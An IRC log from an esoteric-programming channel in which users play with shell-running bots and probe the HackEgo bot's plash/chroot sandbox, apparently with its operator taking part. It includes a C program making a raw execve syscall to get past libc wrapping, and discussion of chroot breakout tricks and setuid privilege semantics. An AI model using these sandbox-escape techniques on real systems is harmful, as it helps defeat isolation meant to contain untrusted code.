17:30:22 <GregorR-L> Ahhhh computer science: Where the phrase "First you need to kill all the children" is not only acceptable, but natural and obvious.
17:30:45 <AnMaster> GregorR, killing them for what purpose
17:30:57 <Deewiant> So they don't live unnecessarily
17:31:04 <GregorR-L> Well, you want to kill the parent process, and otherwise you have orphans in the process tree.
17:32:59 -!- zzo38 has joined.
17:33:07 <zzo38> `run b=\' c=\\ a='echo -n b=$c$b c=$c$c a=$b$a$b\;; echo $a';echo -n b=$c$b c=$c$c a=$b$a$b\;; echo $a
17:33:07 <HackEgo> b=\' c=\\ a='echo -n b=$c$b c=$c$c a=$b$a$b\;; echo $a';echo -n b=$c$b c=$c$c a=$b$a$b\;; echo $a
17:33:20 -!- zzo38 has left (?).
17:33:53 <GregorR-L> If you want a shell quine, make sure the output from HackEgo starts with !sh and the output from EgoBot starts with `run :P
17:34:20 <GregorR-L> `run echo '!sh echo Lawl, forgot to prevent this'
17:34:20 <HackEgo> !sh echo Lawl, forgot to prevent this
17:34:21 <EgoBot> Lawl, forgot to prevent this
17:34:36 <ais523> generally speaking, when doing botloops, I use thutubot as part of them so as to be able to end them easily
17:34:58 <ais523> !sh echo `run echo Does it work the other way too?
17:34:58 <EgoBot> /tmp/input.22111: line 1: unexpected EOF while looking for matching ``'
17:35:05 <ais523> !sh echo '`run echo Does it work the other way too?'
17:35:06 <EgoBot> `run echo Does it work the other way too?
17:35:06 <HackEgo> Does it work the other way too?
17:35:36 <pikhq> !sh echo ^bf ++++++++++.
17:35:49 <fungot> pikhq: state your quesiton
17:35:59 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
17:36:06 <GregorR-L> fungot will have to fix fungotself.
17:36:06 <fungot> GregorR-L: i bet only you can prevent forest fires. basically, you know.
17:36:06 <HackEgo> bin \ busybox \ paste \ quotes \ share \ tmpdir.22325
17:36:22 <GregorR-L> Wow, that was the most awesome phrase ever.
17:36:40 <GregorR-L> `addquote <fungot> GregorR-L: i bet only you can prevent forest fires. basically, you know.
17:36:41 <fungot> GregorR-L: some brainfuck implementations use 8 bits per pixel there?) are impressively fast for what they like.
17:36:41 <HackEgo> 18|<fungot> GregorR-L: i bet only you can prevent forest fires. basically, you know.
17:36:42 <fungot> HackEgo: i wrote text with fnord pressed enter and the wiki uploads?
17:36:46 <ais523> `run echo '^bf ,[.,]!Does fungot ignore this?'
17:36:47 <HackEgo> ^bf ,[.,]!Does fungot ignore this?
17:36:47 <fungot> ais523: but still, presenting that face to the world of alcohol? why not just ( filter-unwanted " foobar"
17:36:48 <fungot> Does fungot ignore this?
17:37:30 <ais523> `run echo '^bf ,[.,]!`run echo test'
17:37:42 <Deewiant> `run echo "!sh echo '`run cat foo'" > foo
17:37:55 <HackEgo> bin \ busybox \ paste \ quotes \ share \ tmpdir.22627
17:38:05 <Deewiant> `run echo "!sh echo '`run cat foo'" > foo; ls foo
17:38:33 <zid> `run echo $@;
17:38:37 <HackEgo> bin \ busybox \ paste \ quotes \ share \ tmpdir.22848
17:38:38 <Deewiant> `run echo "!sh echo '`run cat foo'" > tmpdir.22627/foo; ls tmpdir.22627
17:38:50 <Deewiant> `run echo "!sh echo '`run cat foo'" > tmpdir.*/foo; ls tmpdir.*
17:39:02 <ehird> 02:09 GregorR: ehird: spoony == oerjan. Just FYI.
17:39:03 <GregorR-L> tmpdir.* is just mapped to /tmp btw
17:39:07 <ehird> Therefore, oerjan is gay. QED.
17:39:22 -!- zzo38 has joined.
17:39:29 <zzo38> `run X=\!sh Y=\`run b=\' c=\\ a='echo -n $X X=$c$Y Y=$c$X b=$c$b c=$c$c a=$b$a$b\;; echo $a'; echo -n $X X=$c$Y Y=$c$X b=$c$b c=$c$c a=$b$a$b\;; echo $a
17:39:30 <HackEgo> !sh X=\`run Y=\!sh b=\' c=\\ a='echo -n $X X=$c$Y Y=$c$X b=$c$b c=$c$c a=$b$a$b\;; echo $a';echo -n $X X=$c$Y Y=$c$X b=$c$b c=$c$c a=$b$a$b\;; echo $a
17:39:43 <Deewiant> `run echo "!sh echo '`run cat foo'" > $(mktemp); ls /tmp/tmp.*
17:40:04 <ehird> 03:06 pikhq: http://en.wikipedia.org/wiki/2009_Shishou_riot Why was this not in the news?
17:40:07 <ehird> why do you rely on the news?
17:40:08 <zzo38> That is what I was showing you I am glad you fixed it
17:40:09 <Deewiant> `run a=$(mktemp); echo foo > $a; cat $a
17:40:27 <AnMaster> I got a working manual system call hm
17:40:32 <ehird> 03:17 pikhq: What you want is cons 1 (cons 2 (cons 3 end)), or somewhat different syntax in Haskell. :P
17:41:19 <GregorR-L> zzo38: Why did you part? Trying to flee the scene of the crime? :P
17:41:59 <HackEgo> GNU Wget 1.11.4 \ \ Copyright (C) 2008 Free Software Foundation, Inc. \ License GPLv3+: GNU GPL version 3 or later \ <http://www.gnu.org/licenses/gpl.html>. \ This is free software: you are free to change and redistribute it. \ There is NO WARRANTY, to the extent permitted by law. \ \ Originally written by Hrvoje Niksic
17:42:09 <zzo38> No, I parted so that I could experiment with HackEgo privately without the channel messages on the screen, so that I could see more clearly what I was doing.
17:42:44 <zzo38> And then when the command worked, I rejoined to try it to see if it was fixed or not
17:42:59 <ehird> 12:38 AnMaster: I think I found a hidden 1 April joke by google this year: look http://uptime.netcraft.com/up/graph?site=google.se
17:43:02 <ehird> except it's not funny
17:43:09 <ehird> also http://uptime.netcraft.com/up/graph?site=google.com
17:43:13 <ehird> maybe swedes just suck at jokes
17:43:22 <ehird> 13:22 nooga: Mac Pro, i want one
17:43:22 <GregorR-L> ehird: I know some very funny swedes :P
17:43:31 <ehird> i'm being pinged, cool
17:43:35 <Deewiant> `run a=$(mktemp); wget -q tar.us.to/x -O $a; cat $a
17:43:37 <AnMaster> ehird, as you can see the april ones have gone off the end
17:43:47 <AnMaster> that is why you can't see if the .com one had that joke too
17:43:52 <ehird> 13:49 AnMaster: <nooga> Mac Pro, i want one <-- you could get something more powerful for much less from anyone but Apple. ← uh huh, and where is this system more powerful than 2 x Nehalem Xeons and 16GB of RAM? cheaper, yes. more powerful? unlikely
17:44:01 <ehird> 13:49 GregorR: nooga: I have a mac pro, and I often have sex with it. Oh, would a good computer.
17:44:04 <ehird> wood: a good computer
17:44:05 <zzo38> The !sh and `run quine was what I was originally thinking of at first back before when I wrote the first command at 08:59:34
17:44:35 <ehird> 14:05 ais523: and although I like concatenative programming in general, there's something about Underload in particular that just clicks with me
17:44:37 <ehird> because you wrote it :p
17:45:28 <ais523> ehird: I generally write things /because/ I like the idea
17:46:04 <ehird> 15:33 zid: I bet all three of them were upset
17:46:05 <ehird> 15:33 AnMaster: zid, quite a few more.
17:46:35 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
17:46:46 <ehird> 15:47 zid: is there some command I can use to get you to appear in whatever channel I want?
17:47:04 <ais523> actually, /invite works against some clients
17:47:08 <ais523> but not against otheres
17:47:49 -!- zzo38 has joined.
17:48:03 <zzo38> There is a command to make PocketMonsterIRC appear in whatever channel you want.
17:48:35 <AnMaster> `fetch http://omploader.org/vMXdjdg
17:48:36 <HackEgo> 2009-06-29 16:48:36 URL:http://omploader.org/vMXdjdg [378/378] -> "vMXdjdg" [1]
17:48:48 <GregorR-L> If anybody uses that command to bring PocketMonsterIRC here, they will suffer the wrath of many angry esoers :P
17:48:52 <ehird> 16:04 AnMaster: GregorR-L, just ignore ehird
17:48:52 <ehird> 16:04 AnMaster: I prefer the DCC one
17:48:54 <ehird> 16:04 AnMaster: much better
17:48:56 <ehird> contrarian fun with anmaster
17:49:00 <pikhq> /invite #cannibalism zzo38
17:49:11 <AnMaster> `run gcc -o asm-test -std=c99 asm-test.c
17:49:16 <AnMaster> `run gcc -o asm-test -std=gnu99 asm-test.c
17:49:32 <zzo38> Underload is very purely concatenative programming.
17:49:37 <AnMaster> I can make a direct syscall GregorR ^
17:49:41 <AnMaster> just a write one for testing here
17:49:45 <GregorR-L> AnMaster: I never claimed that you couldn't.
17:49:53 <AnMaster> GregorR, lets see if we can run that busybox binary this way!
17:49:55 <ehird> 17:39 GregorR-L: ehird: Isn't spoony ... a woman?
17:49:58 <GregorR-L> It doesn't block direct syscalls, it just makes them useless.
17:50:02 <ehird> Spoony is oerjan and oerjan is male.
17:50:14 <GregorR-L> ehird: But spoony isn't actually oerjan :P
17:50:19 <ehird> Therefore, from the set {spoony,Dylan} we can deduce gayness(oerjan) = 100%
17:50:54 <AnMaster> GregorR, not if we can break out by running a static binary
17:51:07 <zzo38> Well, it won't work now anyways, because PocketMonsterIRC is not connected
17:52:01 <ehird> The idea that you could singlehandedly break plash is amusing.
17:52:04 <GregorR-L> AnMaster: Like I said (sooo many times), it doesn't block direct syscalls, it just makes them useless by placing you in an empty chroot.
17:52:15 <AnMaster> GregorR, yes, but this is still fun!
17:52:36 <GregorR-L> You haven't really broken out of anything though, you're just in a situation it already anticipated :P
17:53:11 <ais523> what if someone breaks the chroot?
17:53:31 <zzo38> I should invent 2D-Underload (I already have some ideas)
17:53:35 <GregorR-L> Yes, that's a concern. But chroots are really not /that/ broken in general.
17:53:38 <ais523> zzo38: have you seen Shove?
17:53:39 -!- nomaddave0987 has joined.
17:53:46 <ais523> it isn't really Underload
17:53:56 <GregorR-L> Dave wanders into #esoteric, looking to hunt wild game...
17:53:56 <pikhq> If someone breaks out of a chroot, run screaming.
17:53:57 <ais523> but Underload translates better into it than most other languages
17:54:17 <pikhq> Dave slowed slightly as his ears.
17:54:20 <ehird> nomaddave0987: Haskell Nomads!
17:54:21 <ais523> pikhq: there are all sorts of ways to break a chroot, but they mostly need root powers
17:54:24 <GregorR-L> He aims his bow at a wild ehird. Tragically, ehird never saw the nomadic hunter-gatherer.
17:54:34 <pikhq> ais523: ... Ways of breaking out without root.
17:55:02 <ais523> can you run plash inside plash?
17:55:11 <GregorR-L> WhyTF do people think I'd give root :P
17:55:13 <pikhq> It's happened before, but none of the ways of doing so work on anything newer than, oh, 2.4.10.
17:55:34 <ais523> certainly, there's a well known way to break out of an outer chroot if you have an inner chroot inside it
17:55:38 <ais523> somehow, I can't remember how it works
17:55:59 <pikhq> If you've got root, breaking out of a chroot is trivial.
17:56:06 <zzo38> I have idea 2D-Underload, it isn't really underload either but I have some ideas how it can work, the stack can contain 2D-strings now, is one idea
17:56:19 <zid> if you've got root, everything is trivial :P
17:56:19 <ais523> pikhq: yes, specify the device by number, mknod it and mount it
17:56:23 <pikhq> (unlike a BSD jail)
17:56:40 <pikhq> ais523: Most Linux systems these days have devfs.
17:56:57 <pikhq> Curses, it's udev.
17:56:59 <zzo38> There is a module for thing similar BSD jail in Linux too
17:57:08 <pikhq> devfs was a 2.4 thing.
17:57:44 <zid> udev is made of unicorn farts
17:57:56 <pikhq> Start a udev daemon in your chroot.
17:57:56 <GregorR-L> Mounting a filesystem isn't /really/ breaking out of a chroot :P
17:58:09 <ais523> GregorR-L: you can now access everything outside it, though
17:58:13 <ais523> if that isn't breaking, what is?
17:58:25 <GregorR-L> Actually disabling the chroot restrictions on your process?
17:58:31 <zid> i'd just remount root
17:58:36 <pikhq> Oh, hey. chroots don't stack.
17:59:15 <ais523> ah, ok, the trick is that if you have an inner chroot, something in the outer chroot can pass a handle to a directory between the chroots into the inner one
17:59:19 <zid> just mount root to /blah and chroot /blah :P
17:59:22 <ais523> then the one inside can move outside the outer one using cd ..
18:00:17 <GregorR-L> ais523: Surely this can't be an extant bug?
18:00:20 <ais523> strangely, the webpage I'm reading about this seems to assume that it can only be done using C or Perl
18:00:26 <ais523> GregorR-L: I think it's deliberate
18:00:38 <pikhq> Better still. Chroot without changing into the dir you're chrooting into.
18:00:39 <ais523> the idea is that you can take the parent directory of any directory but root
18:00:52 <pikhq> pwd is below the process's root.
18:01:09 <GregorR-L> ais523: The inner one, passed a directory handle from the outer one, should perhaps be able to chroot up into other dirs in the outer one, but not OUT of the outer one ...
18:01:19 <pikhq> So, you just do cd(".."); a lot and then chroot(".")
18:01:37 <pikhq> GregorR-L: Except that chroot's semantics are specified so that chroots don't stack.
18:01:37 <ais523> GregorR-L: you'd need to know the chroot stack
18:01:43 <GregorR-L> Anyway, it's kind of irrelevant because you need chroot power to take advantage of it :P
18:01:44 <ais523> and chroots don't stack
18:02:12 <ais523> interestingly, FreeBSD blocked this attack by making it illegal to pass directory handles into a chroot (if you try, the chroot system call fails)
18:02:20 <ais523> which is a really weird place of the trick to block it
18:02:36 <pikhq> And we were discussing how it's trivial to break out of a chroot if you have root.
18:02:38 <GregorR-L> Well, plash passes /no/ handles in, so g'luck :P
18:03:09 <GregorR-L> pikhq: I thought we were discussing breaking out of HackEgo's chroot.
18:03:55 <ais523> the idea would be to somehow create a second chroot inside plash
18:04:01 <ais523> unfortunately, that generally needs root powers
18:04:08 <pikhq> GregorR-L: Which is likely impossible without some major kernel or plash bug.
18:04:32 <ais523> what about just attempting to set your UID to root?
18:04:46 <ehird> !c setuid(0); chroot("butt");
18:04:46 <pikhq> ais523: ... And you need root to do that.
18:05:00 <ais523> Linux remembers what UID a process started with
18:05:06 <ais523> and you can always setuid to that
18:05:09 <pikhq> If you don't need root, that's a bug.
18:05:11 <GregorR-L> ais523: That would be the world's stupidest bug.
18:05:23 <ais523> IMO, that's a bug, because it means there's no way to permanently drop root powers
18:05:30 <ais523> but I suppose you can get round it by forking children
18:05:31 <pikhq> ais523: This is why you setuid(0) then fork().
18:05:52 <GregorR-L> Except there /is/ a way to permanently drop root powers: root (and only root) can set both real and effective UID.
18:06:05 <pikhq> Oh, right. So root can.
18:07:31 <ais523> GregorR-L: no, that's what I'm saying, there are three UIDs, real, effective, original
18:07:44 <ais523> at least, that's what the man page said (or was it info?)
18:07:48 <ais523> when I read it, I thought it was on crack
18:07:57 <GregorR-L> Uhhh, no. I'm fairly certain that's not correct, or at least the original UID is kept only for informative purposes, and gives no real power.
18:08:05 <fizzie> "If the effective UID of the caller [of setuid] is root, the real UID and saved set-user-ID are also set."
18:08:16 <fizzie> There are three, though.
18:08:18 <ais523> oh, only in a setuid process
18:08:22 <ais523> that's /slightly/ less insane
18:08:25 <ais523> but still, only slightly
18:08:37 <ais523> as it still means setuid processes have no way to drop privileges
18:08:53 <GregorR-L> That's just not correct. There is absolutely no way that's correct.
18:08:58 <GregorR-L> That's a misunderstanding, I'm sure.
18:09:10 <pikhq> ehird: That's POSIX.
18:09:16 <fizzie> Huh? If the effective uid of the process calling setuid is 0, it will set all those three privileges and then it is impossible to regain root privileges.
18:09:18 <pikhq> OS X has the same.
18:09:25 <pikhq> (and that's retarded)
18:09:29 <ais523> ok, but say I have a process that's setgid games
18:09:35 <ais523> it has no way to permanently drop that setgid
18:09:39 <ehird> pikhq: yeah, that's ridiculous
18:09:40 <GregorR-L> The setuid() function sets the real and effective user IDs and the saved set-user-ID of the current process to the specified value. The setuid() function is
18:09:40 <GregorR-L> permitted if the effective user ID is that of the super user, or if the specified user ID is the same as the effective user ID. If not, but the specified
18:09:40 <GregorR-L> user ID is the same as the real user ID, setuid() will set the effective user ID to the real user ID.
18:09:49 <ais523> which means, that it can't just open the files it needs and then drop privileges
18:09:57 <ehird> guys, let's lobby os makers to violate posix in this case!
18:10:19 <ais523> GregorR-L: ah, I missed that bit
18:10:25 <ais523> so you can change saved-suid as well
18:10:40 <GregorR-L> That bug would be too stupid to exist, I knew it couldn't be right :P
18:10:58 <ais523> and it's presumably seteuid that doesn't mess with saved-suid
18:11:25 <GregorR-L> But seteuid doesn't drop anything.
18:11:31 <GregorR-L> Well, not in any permanent sense, that is.
18:12:04 <ais523> seteuid(insert real UID here) would be a rather obvious way to permanently drop setuid powers
18:12:08 <ais523> such a pity that it doesn't work
18:12:58 <ais523> ooh, someone should tell the BSD people about the exploitable double-free bug in NetHack
18:13:12 <ehird> bsd is also hilarious, the whole "let"
18:13:12 <ais523> I'm just reading the BSD essay on game security
18:13:18 <ehird> "'s have one big team maintain EVERYTHING"
18:13:30 <fizzie> Actually "Under Linux, setgid() is implemented like the POSIX version with the _POSIX_SAVED_IDS feature. This allows a set-group-ID program that is not set-user-ID-root to drop all of its group privileges, do some un-privileged work, and then re-engage the original effective group ID in a secure manner." Based on that I'd say just saying setgid or setuid is not enough to permanently drop privileges when you're some non-root setuid/setgid-file process.
18:13:51 <ais523> they also said that games shouldn't have write power to their own executables, which makes sense
18:13:57 <ais523> and is another reason to make them setgid not setuid
18:14:15 <ehird> i think the whole "another user/group so people don't tamper with scores" is silly
18:14:24 <ehird> it doesn't really help anything
18:14:38 <ais523> well, I managed to corrupt the Minesweeper high score table once on a Windows box
18:14:45 <ais523> we accidentally wrote the wrong username next to a pretty good high score
18:14:51 <ais523> so attempted to fix it in the registry
18:14:52 <ehird> on a single-user machine, you can fuck them up anyway. on a multi-user machine, you can get the admin to fuck them up. there's no verification or anything.
18:14:59 <ais523> it seems it's checksummed and Minesweeper went mad
18:15:07 <ais523> and we had to revert the registry (the whole thing!) to a backup
18:15:15 <ehird> at least you backed up
18:15:20 <GregorR-L> How many times do you have to hear the expression "bit-shift" before it becomes "bitch-ift"?
18:15:21 <ehird> i _still_ don't back up
18:15:22 <ais523> Windows does automatically
18:15:30 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
18:15:32 <ais523> except it reverts your program files directory at the same time
18:15:42 <ais523> user-friendliness, you see
18:15:42 <ehird> i'm very happily lucky with mechanical disks
18:15:43 <pikhq> GregorR-L: Bitſhift, you mean?
18:15:51 <ehird> ais523: you mean system restore?
18:16:09 <ais523> it does work to fix borked changes to Minesweeper high score tables
18:17:02 <ais523> <FreeBSD> This package does not yet support security hardening by giving each setgid game its own gid, but in some environments you may wish to do this.
18:17:33 <ais523> I'm reading the BSD advice file on game security that ended up in the Debian BSD-games package
18:17:45 <ais523> what's slightly more worrying is that I have previously met, in RL, the person who wrote it
18:17:56 <ehird> ais523: not BSD "generally"
18:18:02 <ehird> before all the derivatives, I assume
18:18:06 <ehird> ais523: who wrote it?
18:18:26 <ehird> nomaddave0987: no. ##linux
18:18:43 <ehird> AnMaster: adding "esoteric programming" to the topic sure has stopped 2-3 non-esolangers coming in lately huh
18:18:51 <ehird> statistically, we're doing worse!
18:19:14 <pikhq> Not as odd as people coming in for spiritual esotericism.
18:19:21 <ehird> magick. with a k!!!!!!
18:19:25 <ehird> the k means arkane
18:19:26 <nomaddave0987> ok..mm.. ho.. its because I follow your conversation and i try to understand what about talk about
18:19:32 <AnMaster> ehird, did any of them read the topic...
18:19:35 <ehird> nomaddave0987: esoteric programming languages
18:19:40 <ehird> AnMaster: if they don't, does it help anyway? nope
18:19:42 <GregorR-L> nomaddave0987: Admittedly we're sort of off topic :P
18:19:45 <AnMaster> and then nothing will help indeed
18:19:51 <pikhq> !bftxtgen Like this.
18:19:54 <nomaddave0987> yeah I read.. but my englisgh is my second languaje..
18:20:00 <ais523> pikhq: you missed an underscore
18:20:06 <ehird> did pikhq miss an underscore
18:20:10 <ehird> i think he meant bf_txtgen
18:20:10 <pikhq> !bf_txtgen Like this.
18:20:10 <AnMaster> ehird, however I suspect we need to collect more data on this before giving a definite answer
18:20:12 <EgoBot> 128 +++++++++++++++[>+>++>+++++>+++++++<<<<-]>>>+.>.++.<+++++++++++++++++++++++++.<++.>>+++++++++.<+++.+.>-.<<++++++++++++++.<-----. [115]
18:20:24 <pikhq> ^bf +++++++++++++++[>+>++>+++++>+++++++<<<<-]>>>+.>.++.<+++++++++++++++++++++++++.<++.>>+++++++++.<+++.+.>-.<<++++++++++++++.<-----.
18:20:26 <AnMaster> also what was the frequency during the same period one year ago?
18:20:38 <AnMaster> are there more in the summer for example
18:20:40 <pikhq> `echo ^bf +++++++++++++++[>+>++>+++++>+++++++<<<<-]>>>+.>.++.<+++++++++++++++++++++++++.<++.>>+++++++++.<+++.+.>-.<<++++++++++++++.<-----.
18:20:41 <HackEgo> ^bf +++++++++++++++[>+>++>+++++>+++++++<<<<-]>>>+.>.++.<+++++++++++++++++++++++++.<++.>>+++++++++.<+++.+.>-.<<++++++++++++++.<-----.
18:20:51 <ehird> AnMaster: you just gotta accept the crazies and the confused. they're natural
18:21:09 <AnMaster> ehird, It was GregorR who added it originally to the topic
18:21:10 <ehird> also, ais523: did you read on proggit? they've made a solid-state quantum processor with two qubits
18:21:15 <ehird> kept them entangled for a microsecond
18:21:21 <ais523> although, that is progress
18:21:25 <ehird> AnMaster: you're the one who argued it with me :P
18:21:33 <nomaddave0987> why is called esoteric programming languajes? .. can you do some kind of magik.. with computers?
18:21:38 <ehird> ais523: it operates at less than 1 kelvin above 0
18:21:53 <ais523> nomaddave0987: no, because they're rather different from mainstream programming languages
18:21:53 <AnMaster> nomaddave0987, no, the same word has different meanings in different contexts.
18:21:56 <ehird> nomaddave0987: No, you can't do any magic full stop because there's no such thing. Esoteric programming languages are weird ones like Brainfuck.
18:22:20 <ais523> ehird: no magic? how am I going to get my halting oracle now?
18:22:44 <ehird> nomaddave0987: http://en.wikipedia.org/wiki/Brainfuck
18:23:00 <ehird> ais523: prove that the Entscheidungsproblem is actually solvable
18:25:13 <ehird> ...for some definitions of philosophical and geometric
18:25:47 <ais523> geometric, I don't get, although I sort-of know what you mean by philosophical here
18:26:00 <pikhq> http://bill.wards.net/blosxom/humor/story/feynman.html You have three hours. You may use your notes and Feynman.
18:26:33 <GregorR-L> http://www.explosm.net/comics/1699/ // lawl
18:28:16 <nomaddave0987> i readed about the INTERCAL.. and basi has the same basic strcutures to make a sentece.. but is represented by symbols
18:28:57 <GregorR-L> Yeah, INTERCAL is one of the languages we sometimes talk about here.
18:29:10 <ehird> But mostly GregorR-L just makes innuendos.
18:29:38 <ehird> GregorR-L: That's what you said about your mom.
18:29:44 <ehird> *smoooooooooooooth*
18:30:57 <ehird> i wonder if Logic Studio still requires the obnoxious dongle they did in the windows days
18:37:31 -!- comex_ has changed nick to comex.
18:45:41 -!- nomaddave0987 has left (?).
18:46:09 -!- Pthing has joined.
18:46:31 -!- augur has joined.
18:47:19 -!- Pthing has quit (Remote closed the connection).
18:51:36 <HackEgo> asm-test \ asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.25907
18:51:43 <AnMaster> `fetch http://omploader.org/vMXdkYw
18:51:44 <HackEgo> 2009-06-29 17:51:43 URL:http://omploader.org/vMXdkYw [444/444] -> "vMXdkYw" [1]
18:52:21 <AnMaster> `run gcc -o asm-test -O0 -std=gnu99 asm-test.c
18:52:49 <HackEgo> asm-test \ asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.26162
18:52:55 <AnMaster> GregorR, ok, now I am confused...
18:53:07 <AnMaster> GregorR, it must do something more than just replace libc
18:53:17 <HackEgo> asm-test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
18:53:24 <HackEgo> #define _GNU_SOURCE \ #include <unistd.h> \ \ volatile char *en[] __asm__("en") = {NULL}; \ volatile char *ar[] __asm__("ar") = {NULL,NULL}; \ \ int main(int argc, char *argv[]) { \ar[0] = argv[1]; \// Syscall execve = 59 \// execve(argv[1],ar,en); \// syscall(59, ar[0], ar, en); \asm volatile
18:54:04 <HackEgo> /bin/ls: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
18:54:22 <AnMaster> ldd sets some env vars then runs ld-linux.so
18:54:47 <AnMaster> so ldd of course won't work GregorR ^
18:55:11 <ehird> "Intel's 32nm Clarkdale CPUs moved up to Q4, a full year ahead of AMD?"
18:55:42 <AnMaster> `run /usr/bin/nm -D /usr/bin/nm
18:55:43 <HackEgo> U _IO_putc \ w _Jv_RegisterClasses \ U __assert_fail \ 000000000060989c A __bss_start \ 00000000006098a0 B __environ \ U __errno_location \ w __gmon_start__ \ U __libc_start_main \ U __strdup \ U
18:55:45 <ehird> "Intel launching cheaper SSDs with up to 320GB capacity in two weeks?"
18:55:46 <HackEgo> /usr/bin/nm: /bin/ls: no symbols
18:55:49 <ehird> two birthdays in one!
18:56:15 <HackEgo> w __gmon_start__ \ U __libc_start_main
18:56:23 <AnMaster> `run nm -D asm-test 2>&1 | wc -l
18:56:38 <HackEgo> asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.26975
18:56:48 <GregorR-L> `run gcc -o asm-test -O0 -std=gnu99 asm-test.c 2>&1
18:56:57 <GregorR-L> `run gcc -o asm-test -O0 -std=gnu99 asm-test.c 2>&1
18:57:18 <HackEgo> asm-test \ asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.27075
18:57:24 <HackEgo> w __gmon_start__ \ U __libc_start_main
18:57:31 -!- Pthing has joined.
18:59:37 <AnMaster> `fetch http://omploader.org/vMXdkZQ
18:59:38 <HackEgo> 2009-06-29 17:59:38 URL:http://omploader.org/vMXdkZQ [776/776] -> "vMXdkZQ" [1]
19:00:02 <HackEgo> asm-test \ asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.27242
19:00:16 <AnMaster> `run gcc -o asm-test -O0 -std=gnu99 asm-test.c
19:00:51 <AnMaster> then the execve syscall failed hm
19:01:01 <HackEgo> w __gmon_start__ \ U __libc_start_main
19:01:09 <AnMaster> `run gcc -o asm-test -ggdb3 -O0 -std=gnu99 asm-test.c
19:01:13 <HackEgo> 00000000006006e0 d _DYNAMIC \ 0000000000600888 d _GLOBAL_OFFSET_TABLE_ \ 00000000004005f8 R _IO_stdin_used \ w _Jv_RegisterClasses \ 00000000006006c0 d __CTOR_END__ \ 00000000006006b8 d __CTOR_LIST__ \ 00000000006006d0 D __DTOR_END__ \ 00000000006006c8 d __DTOR_LIST__ \ 00000000004006b0 r __FRAME_END__
19:01:15 <HackEgo> asm-test \ asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.27515
19:01:16 <HackEgo> w __gmon_start__ \ U __libc_start_main
19:01:37 <ehird> wow, the arial glyph to l is actually identical to that of I
19:02:43 <AnMaster> `run gcc -o asm-test.S -O0 -std=gnu99 asm-test.c
19:02:53 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.3502
19:02:57 <AnMaster> `run gcc -o asm-test.S -S -O0 -std=gnu99 asm-test.c
19:03:00 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.14348
19:03:49 <AnMaster> GregorR, see anything strange there?
19:04:45 <HackEgo> PLASH_FAKE_GID=5000 \ SHELL=/bin/bash \ TERM=screen \ IRC_SOCK=/tmp/multibot.HackEgo \ IRC_NICK=AnMaster \ PLASH_CAPS=conn_maker;fs_op \ PLASH_FAKE_EUID=5000 \ USER=hackbot \ http_proxy=http://127.0.0.1:3128 \ LD_LIBRARY_PATH=/usr/lib/plash/lib
19:05:19 <ehird> wait, clarkdale is a consumer cpu
19:06:01 -!- Judofyr has joined.
19:07:13 <ehird> "We just got all new Phenom II X2 550 3.1GHz systems and they beat the crap out of the old Intel Pentiums."
19:07:19 <ehird> AMD Phenom II: It's faster than Pentium.
19:10:01 <AnMaster> GregorR, hm... it is possible it actually ran but no output could be captured... not sure
19:10:20 <AnMaster> it seems plash does all sort of tricks to be able to handle exec*
19:10:25 <AnMaster> http://plash.beasts.org/wiki/ExecutableObjects
19:10:52 <ehird> GregorR-L: It's proof that AMD _can_ be faster than Intel!
19:11:15 <ais523> GregorR-L: stop it with that smiley, you're giving me flashbacks to Windows
19:11:30 <ehird> ais523: windows stole XP.
19:11:34 <GregorR-L> Windows XP was named after the faces of its users.
19:11:37 <ehird> i remember thinking it was a fucking dick move.
19:11:40 <ais523> ehird: yes, quite possibly
19:11:48 <ehird> ais523: the interwebs
19:11:55 <GregorR-L> ais523: He's referring to the smiley :P
19:12:29 <AnMaster> GregorR, what version of plash are you using
19:12:51 <HackEgo> pola-run: error: Unrecognised argument: --version
19:13:21 <GregorR-L> Idonno if that should work or not :P
19:13:25 <HackEgo> dpkg-query: failed to open package info file `/var/lib/dpkg/status' for reading: No such file or directory
19:15:42 <HackEgo> bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ echo \ ed \ egrep \ false \ fgrep \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ less \ lessecho \ lessfile
19:15:49 <HackEgo> /usr/bin/captoinfo \ /usr/bin/debconf-escape \ /usr/bin/infotocap \ /usr/bin/run-mailcap
19:15:58 <HackEgo> accessdb \ add-shell \ addgroup \ adduser \ arp \ arpd \ biosdecode \ chgpasswd \ chpasswd \ chroot \ cpgr \ cppw \ cron \ cytune \ defoma-reconfigure \ delgroup \ deluser \ dmidecode \ dpkg-divert \ dpkg-preconfigure \ dpkg-reconfigure \ dpkg-statoverride \ fdformat \ filefrag \ groupadd \ groupdel \ groupmod \ grpck \ grpconv
19:16:45 <HackEgo> attr \ auxv \ cgroup \ clear_refs \ cmdline \ coredump_filter \ cpuset \ cwd \ environ \ exe \ fd \ fdinfo \ io \ limits \ loginuid \ maps \ mem \ mountinfo \ mounts \ mountstats \ net \ oom_adj \ oom_score \ pagemap \ root \ sched \ sessionid \ smaps \ stat \ statm \ status \ task \ wchan
19:17:23 <HackEgo> 0 \ 1 \ 10 \ 11 \ 12 \ 13 \ 14 \ 15 \ 16 \ 17 \ 18 \ 19 \ 2 \ 20 \ 21 \ 22 \ 23 \ 24 \ 25 \ 27 \ 3 \ 4 \ 5 \ 6 \ 7 \ 8 \ 9
19:17:29 <AnMaster> `run ls -l /proc/self/fd | paste
